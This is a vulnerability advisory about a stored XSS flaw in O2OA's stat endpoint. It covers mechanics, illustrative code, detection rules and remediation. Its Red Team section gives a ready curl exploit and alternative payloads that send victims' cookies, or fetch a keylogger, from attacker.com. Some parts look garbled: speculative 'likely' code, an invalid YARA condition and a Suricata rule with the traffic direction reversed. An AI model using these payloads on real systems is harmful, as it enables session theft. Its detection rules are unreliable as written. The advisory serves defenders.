CVE-2025-9734
Executive Summary
CVE-2025-9734 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA versions up to 10.0-410. The flaw resides in the /x_query_assemble_designer/jaxrs/stat endpoint, where the name, alias, description, and applicationName parameters are not properly sanitized before being stored and later rendered on the Personal Profile Page. An attacker can inject arbitrary JavaScript into these fields, which will execute in the context of any administrator or user who views the affected profile page. The attack is remotely exploitable with low complexity and requires no authentication, though user interaction (viewing the page) is necessary for payload execution. The vendor has acknowledged the issue and stated it will be fixed in a future release, but no patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
O2OA is a Java-based enterprise application platform. While not a package manager ecosystem (NPM, PyPI, Go, Ruby), the vulnerability affects the core application’s REST API and web interface. Organizations using O2OA should treat this as a critical supply chain risk, as the vulnerable component is part of the standard distribution. No third-party package dependencies are directly implicated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 3.5 (Low)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Low. The low CVSS score reflects the requirement for user interaction and the limited impact (only integrity is affected). However, the public availability of exploit code and the lack of a patch elevate the real-world risk for unpatched deployments.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the O2OA query designer module. The endpoint /x_query_assemble_designer/jaxrs/stat accepts POST requests to create or update a "stat" (statistical query) object. The fields name, alias, description, and applicationName are stored in the backend database without proper HTML encoding or sanitization.
When an administrator or user navigates to the Personal Profile Page (which displays these stat objects), the stored values are rendered directly into the HTML DOM. An attacker can inject a payload such as:
<script>alert(document.cookie)</script>
into any of these fields. Upon page load, the script executes in the victim's browser session, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the page.
The attack flow:
- Attacker sends a POST request to
/x_query_assemble_designer/jaxrs/statwith malicious payload inname(or other fields). - The server stores the payload without sanitization.
- Victim (admin/user) visits the Personal Profile Page.
- The payload is rendered and executed in the victim's browser.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410):
The vulnerable code likely resides in the REST endpoint handler. A simplified representation:
// Vulnerable: No sanitization
@POST
@Path("/stat")
public Response createStat(StatObject stat) {
// Directly stores user input
statDao.save(stat);
return Response.ok().build();
}
The rendering code on the Personal Profile Page likely uses a template that directly outputs the stored values:
<!-- Vulnerable: Direct output -->
<div class="stat-name">{{stat.name}}</div>
<div class="stat-alias">{{stat.alias}}</div>
Patched Code (Expected):
The patched version should sanitize input on the server side and/or escape output on the client side:
// Patched: Input sanitization
@POST
@Path("/stat")
public Response createStat(StatObject stat) {
stat.setName(StringEscapeUtils.escapeHtml4(stat.getName()));
stat.setAlias(StringEscapeUtils.escapeHtml4(stat.getAlias()));
stat.setDescription(StringEscapeUtils.escapeHtml4(stat.getDescription()));
stat.setApplicationName(StringEscapeUtils.escapeHtml4(stat.getApplicationName()));
statDao.save(stat);
return Response.ok().build();
}
And/or the template should use context-aware escaping:
<!-- Patched: Output escaping -->
<div class="stat-name">{{stat.name | escape}}</div>
Exploitation & Lab Setup
Red Team
Prerequisites:
- O2OA instance (version <= 10.0-410) accessible over network.
- No authentication required for the vulnerable endpoint (as per CVSS: PR:N).
Exploit Steps:
Craft the payload. For example, to steal cookies:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Send the malicious POST request using
curl:curl -X POST "http://target:8080/x_query_assemble_designer/jaxrs/stat" \ -H "Content-Type: application/json" \ -d '{ "name": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>", "alias": "test", "description": "test", "applicationName": "test" }'Wait for a victim (admin or user) to visit the Personal Profile Page. The payload will execute, sending the victim's cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Keylogger:
<script src="https://attacker.com/keylogger.js"></script> - Phishing:
<script>document.body.innerHTML='<form action="https://attacker.com/login" method="POST"><input name="user"><input name="pass"><input type="submit"></form>'</script>
Blue Team
Detection Steps:
- Monitor HTTP logs for POST requests to
/x_query_assemble_designer/jaxrs/statcontaining suspicious patterns like<script,onerror=,javascript:. - Inspect database entries in the
stattable for HTML/JavaScript content inname,alias,description,applicationNamecolumns. - Deploy a WAF rule to block requests with XSS payloads in those parameters.
- Use browser-based XSS filters (e.g., X-XSS-Protection header) as a temporary mitigation.
Lab Setup:
- Victim: O2OA 10.0-410 running in Docker:
docker run -d -p 8080:8080 o2oa/o2oa:10.0-410 - Attacker: Kali Linux with
curland a simple HTTP server to capture stolen data:python3 -m http.server 80 - Monitor: Wireshark or tcpdump to capture HTTP traffic.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/x_query_assemble_designer/jaxrs/statwithContent-Type: application/json. - Payloads containing
<script,onerror,javascript:in JSON fields. - Outbound connections to attacker-controlled domains from the O2OA server (if payload triggers external fetch).
- POST requests to
Host IOCs:
- Database entries in the
stattable with HTML/JavaScript inname,alias,description,applicationName. - Unexpected JavaScript files or scripts in the O2OA web directory (if attacker uploads via other means).
- Database entries in the
Log IOCs:
- Application logs showing
WARNorERRORfor unhandled exceptions related to XSS. - Web server logs with
200responses to/x_query_assemble_designer/jaxrs/statfrom unusual IPs.
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2025_9734_O2OA_XSS {
meta:
description = "Detects stored XSS payloads in O2OA stat endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9734"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /javascript\s*:\s*/i
$xss4 = /onload\s*=\s*["']?[^"'\s>]+/i
condition:
any of ($xss*) and (
// Look for these patterns in HTTP POST body or database dumps
// Adjust filetype as needed (e.g., .json, .log, .sql)
for any i in (1..#xss1) : (
@xss1[i] contains "/x_query_assemble_designer/jaxrs/stat" or
@xss2[i] contains "/x_query_assemble_designer/jaxrs/stat"
)
)
}
Sigma Rule
title: O2OA Stored XSS via Stat Endpoint
id: 8f4b3c2a-1e5d-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects POST requests to O2OA stat endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-9734
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/x_query_assemble_designer/jaxrs/stat'
keywords:
- '<script'
- 'onerror='
- 'javascript:'
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in stat names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-9734 O2OA Stored XSS Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/x_query_assemble_designer/jaxrs/stat";
http_uri;
content:"<script";
http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-9734;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to the patched version once released by the vendor.
- Apply a WAF rule to block XSS payloads in the vulnerable endpoint.
- Disable the endpoint if not needed, by removing or commenting out the relevant code in the O2OA deployment.
- Sanitize input manually by adding server-side validation (e.g., using OWASP Java HTML Sanitizer).
Long-term Fix:
- The vendor must implement proper input validation and output encoding in the stat creation/update endpoint.
- Conduct a security audit of all REST endpoints for similar injection flaws.
Workaround:
- Restrict network access to the O2OA server to trusted IPs only.
- Use a reverse proxy (e.g., Nginx) to filter requests:
location /x_query_assemble_designer/jaxrs/stat { if ($request_body ~* "<script|onerror|javascript:") { return 403; } proxy_pass http://backend; }
Valters IT
DevSecOps & Cyber Threat Intelligence